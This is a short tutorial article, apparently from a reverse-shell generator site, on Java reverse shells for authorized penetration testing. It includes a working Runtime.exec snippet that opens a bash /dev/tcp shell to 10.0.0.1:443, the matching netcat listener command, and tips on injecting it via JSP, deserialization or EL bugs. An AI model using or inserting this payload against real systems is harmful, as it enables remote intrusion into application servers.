Skip to content
reverseshell

Java Reverse Shell: Runtime.exec and the App-Server Context

How a Java reverse shell works via Runtime.exec wrapping a bash payload, the pure-socket alternative, and why it shows up in JSP and deserialization bugs.

Published on 2 min read

Java rarely gives you a tidy one-liner the way bash or python do, but it is where a huge amount of real code execution happens — JSP webshells, deserialization bugs, expression-language injection, and the Log4Shell-class vulnerabilities all land you inside a JVM. So it is worth knowing the two shapes a Java reverse shell takes.

The Common Approach: Shell Out via Runtime.exec

The pragmatic Java reverse shell does not reimplement sockets — it asks the OS shell to do the work, wrapping the bash /dev/tcp payload:

String[] cmd = {
  "/bin/bash", "-c",
  "exec 5<>/dev/tcp/10.0.0.1/443;cat <&5 | while read line; do $line 2>&5 >&5; done"
};
Runtime.getRuntime().exec(cmd);

Passing the payload as a String[] (not a single string) matters: Runtime.exec does not parse shell metacharacters, so the redirections only work because you explicitly invoke bash -c. This is the form you drop into a JSP or an injection point. Catch it with nc -lvnp 443.

The Pure-Java Alternative

When there is no bash — a Windows JVM, or a stripped container — build the shell in Java itself: open a Socket, start a ProcessBuilder for cmd.exe//bin/sh, and pump the streams between them. It is verbose (dozens of lines, usually compiled to a .class or embedded in a JSP) rather than a one-liner, but it has no external dependency. Reach for it only when the Runtime.exec + bash route is unavailable.

Why It Matters: the JVM Is a Big Target

Java reverse shells are disproportionately useful because of where JVM code execution comes from:

  • JSP webshells — see webshell vs reverse shell.
  • Insecure deserialization in Java apps.
  • Expression-language / template injection (OGNL, SpEL, etc.).

In each case you are already executing inside the application server (often as a privileged service account), and the Java payload turns that into an interactive session.

When It Won't Connect

  1. No bash for the Runtime.exec route — use the pure-Java form or another payload.
  2. Argument parsing — remember Runtime.exec needs the String[] + bash -c wrapper; a single string will not honour the redirections.
  3. Egress filtered — prefer 443/80; test per egress filtering.
  4. Listener mismatch — see choosing a listener.

Full triage: why reverse shells fail.

Generate the Underlying Payload

The reverse shell generator produces the bash payload you wrap in Runtime.exec (and others) with your LHOST/LPORT and the matching listener.

Authorized Testing Only

Use Java reverse shells only against systems you own or are explicitly authorized to test. Authorization is what makes the work legitimate.

Related articles

A plain-English explanation of how reverse shells work, why they beat bind shells through firewalls, and how a reverse shell generator saves you from copy-paste mistakes.
The common bash reverse shell one-liners explained line by line, why they need bash (not sh), and how to fall back when /dev/tcp is missing.
How the python reverse shell one-liner works with socket and pty, why the python/python3 split breaks payloads, and a version-agnostic fallback.